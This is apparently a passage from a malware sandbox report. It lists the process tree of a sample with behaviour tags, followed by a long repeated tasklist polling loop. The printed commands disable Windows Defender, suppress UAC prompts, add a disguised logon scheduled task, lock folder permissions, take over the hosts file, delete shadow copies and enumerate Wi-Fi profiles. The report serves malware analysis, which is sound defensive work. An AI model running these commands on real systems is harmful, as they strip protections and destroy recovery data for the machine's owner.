        
        C:\Windows\system32\reg.exe
        
        reg delete HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /f
        7⤵
        Modifies registry key
        
        PID:3904
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f
        6⤵
        
        PID:1444
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /f
        6⤵
        
        PID:4992
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableCloudProtection /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4596
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f"
        6⤵
        
        PID:5088
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
        7⤵
        UAC bypass
        Modifies registry key
        
        PID:3088
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /f
        6⤵
        
        PID:1344
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Behavior Monitoring" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4684
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /f
        6⤵
        
        PID:3728
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableNetworkProtection /t REG_DWORD /d 1 /f
        6⤵
        
        PID:3636
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /f
        6⤵
        
        PID:3724
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiVirusSignatures /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4996
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /f
        6⤵
        
        PID:3292
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAccess /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4652
      - C:\Windows\SYSTEM32\reg.exe
        
        reg delete "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /f
        6⤵
        
        PID:3312
      - C:\Windows\SYSTEM32\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableSecurityCenter /t REG_DWORD /d 1 /f
        6⤵
        
        PID:2688
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "taskkill /f /im firefox.exe"
        6⤵
        
        PID:4508
        
        C:\Windows\system32\taskkill.exe
        
        taskkill /f /im firefox.exe
        7⤵
        Kills process with taskkill
        
        PID:4308
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "icacls "C:\Users" /grant %username%:F"
        6⤵
        
        PID:3408
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users" /grant Admin:F
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4412
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "schtasks /create /tn "ONEDRIVE-SERVICE" /tr "C:\Users\windowssystem\starter.exe" /sc onlogon /f"
        6⤵
        
        PID:5208
        
        C:\Windows\system32\schtasks.exe
        
        schtasks /create /tn "ONEDRIVE-SERVICE" /tr "C:\Users\windowssystem\starter.exe" /sc onlogon /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:1872
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "icacls "C:\Users\windowssystem" /deny *S-1-1-0:(D)"
        6⤵
        
        PID:5452
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\windowssystem" /deny *S-1-1-0:(D)
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5472
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "icacls "C:\Users\windowssystem" /deny *S-1-5-32-544:(D)"
        6⤵
        
        PID:5468
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\windowssystem" /deny *S-1-5-32-544:(D)
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4568
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "icacls "C:\Users\windowssystem" /deny *S-1-5-32-545:(D)"
        6⤵
        
        PID:5300
        
        C:\Windows\system32\icacls.exe
        
        icacls "C:\Users\windowssystem" /deny *S-1-5-32-545:(D)
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5364
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c takeown /f C:\Windows\System32\drivers\etc\hosts
        6⤵
        
        PID:5168
        
        C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\drivers\etc\hosts
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:5808
      - C:\Windows\SYSTEM32\setx.exe
        
        setx PATH "C:\$Sys-Manager;C:\Users\Admin\AppData\Local\Temp\_MEI15642\pywin32_system32;C:\Users\Admin\AppData\Local\Temp\_MEI49122\pywin32_system32;C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Program Files\dotnet\;C:\Users\Admin\AppData\Local\Microsoft\WindowsApps;"
        6⤵
        
        PID:5332
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKLM\SYSTEM\CurrentControlSet\Control\Power /v PowerButtonAction /t REG_DWORD /d 0 /f"
        6⤵
        
        PID:5340
        
        C:\Windows\system32\reg.exe
        
        reg add HKLM\SYSTEM\CurrentControlSet\Control\Power /v PowerButtonAction /t REG_DWORD /d 0 /f
        7⤵
        Modifies registry key
        
        PID:5072
      - C:\Windows\SYSTEM32\vssadmin.exe
        
        vssadmin delete shadows /all /quiet
        6⤵
        Interacts with shadow copies
        
        PID:5752
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f"
        6⤵
        
        PID:5160
        
        C:\Windows\system32\reg.exe
        
        reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        Disables RegEdit via registry modification
        Modifies registry key
        
        PID:3320
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c icacls C:\Windows\System32\drivers\etc\hosts /remove "NT AUTHORITY\TrustedInstaller"
        6⤵
        
        PID:5068
        
        C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\drivers\etc\hosts /remove "NT AUTHORITY\TrustedInstaller"
        7⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:2224
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Checkpoint-Computer -Description \"Windows Update\" -RestorePointType \"MODIFY_SETTINGS\""
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4596
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo %COMPUTERNAME%"
        6⤵
        
        PID:5352
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show profiles"
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:624
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show profiles
        7⤵
        Event Triggered Execution: Netsh Helper DLL
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:5220
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "echo %USERNAME%"
        6⤵
        
        PID:5484
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c "netsh wlan show interfaces"
        6⤵
        
        PID:6136
        
        C:\Windows\system32\netsh.exe
        
        netsh wlan show interfaces
        7⤵
        Event Triggered Execution: Netsh Helper DLL
        
        PID:3096
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:2400
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4420
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5008
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:6004
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5164
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5192
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5592
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:2060
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:548
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:3728
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2844
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4124
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:8
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:4040
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3192
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:3440
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:1584
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1844
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4652
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      Suspicious use of AdjustPrivilegeToken
      PID:2940
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3940
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:2516
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:4972
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1512
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:2372
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:5964
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5976
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:3044
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Suspicious use of AdjustPrivilegeToken
      PID:1840
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4940
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4380
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5356
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5344
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5340
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5668
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5160
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5720
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5824
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5868
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5384
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:448
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4676
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5928
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:2012
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5068
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:216
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:3904
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3472
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:4916
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:1524
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:912
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:1136
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:724
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:2872
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5052
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:1760
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3940
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:2352
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:1976
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1588
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:2472
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:3704
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:2424
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:3344
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:3144
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4940
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:1572
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:2104
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1344
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:3348
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5540
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:2248
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:1172
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:1760
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3356
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:3312
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:2328
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5236
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:1648
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3492
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5152
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:3868
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:4056
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:2688
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4460
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:6008
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3184
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:6052
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:3572
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3212
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:2612
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5684
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5840
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:4496
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:2652
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4128
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:452
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3164
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5456
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:2372
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5756
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5748
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5072
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3320
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5812
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:3648
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:3568
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:6032
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:3740
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5776
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5124
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:2508
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5596
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3616
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:4152
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:1200
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5928
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:4492
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5540
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3324
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:2548
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:3940
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3884
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:2868
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5832
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5916
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:3484
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:1520
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5688
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5952
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:408
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5256
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:3620
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:2628
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:2272
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5056
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:4176
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5308
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5656
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5220
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5144
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:3328
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:3576
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5956
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:3868
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3704
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1516
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:2688
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:2424
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5312
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5180
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:1272
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:940
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:6036
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:4532
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3408
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:3344
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:5208
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5684
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:2344
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:4940
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:916
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5728
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:1728
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4124
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5212
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:3164
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5420
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5464
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5340
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5800
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:1720
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5260
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:1884
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:300
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:268
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4992
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:3568
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:4024
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3080
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:548
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:5036
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:5088
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      Delays execution with timeout.exe
      PID:5704
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      PID:4596
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:3896
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5124
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
      PID:536
  - - C:\Windows\system32\find.exe
      find /I "systemservice92.exe"
      4⤵
      PID:4036
  - - C:\Windows\system32\timeout.exe
      timeout /t 1
      4⤵
      PID:5112
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq systemservice92.exe"
      4⤵
      Enumerates processes with tasklist
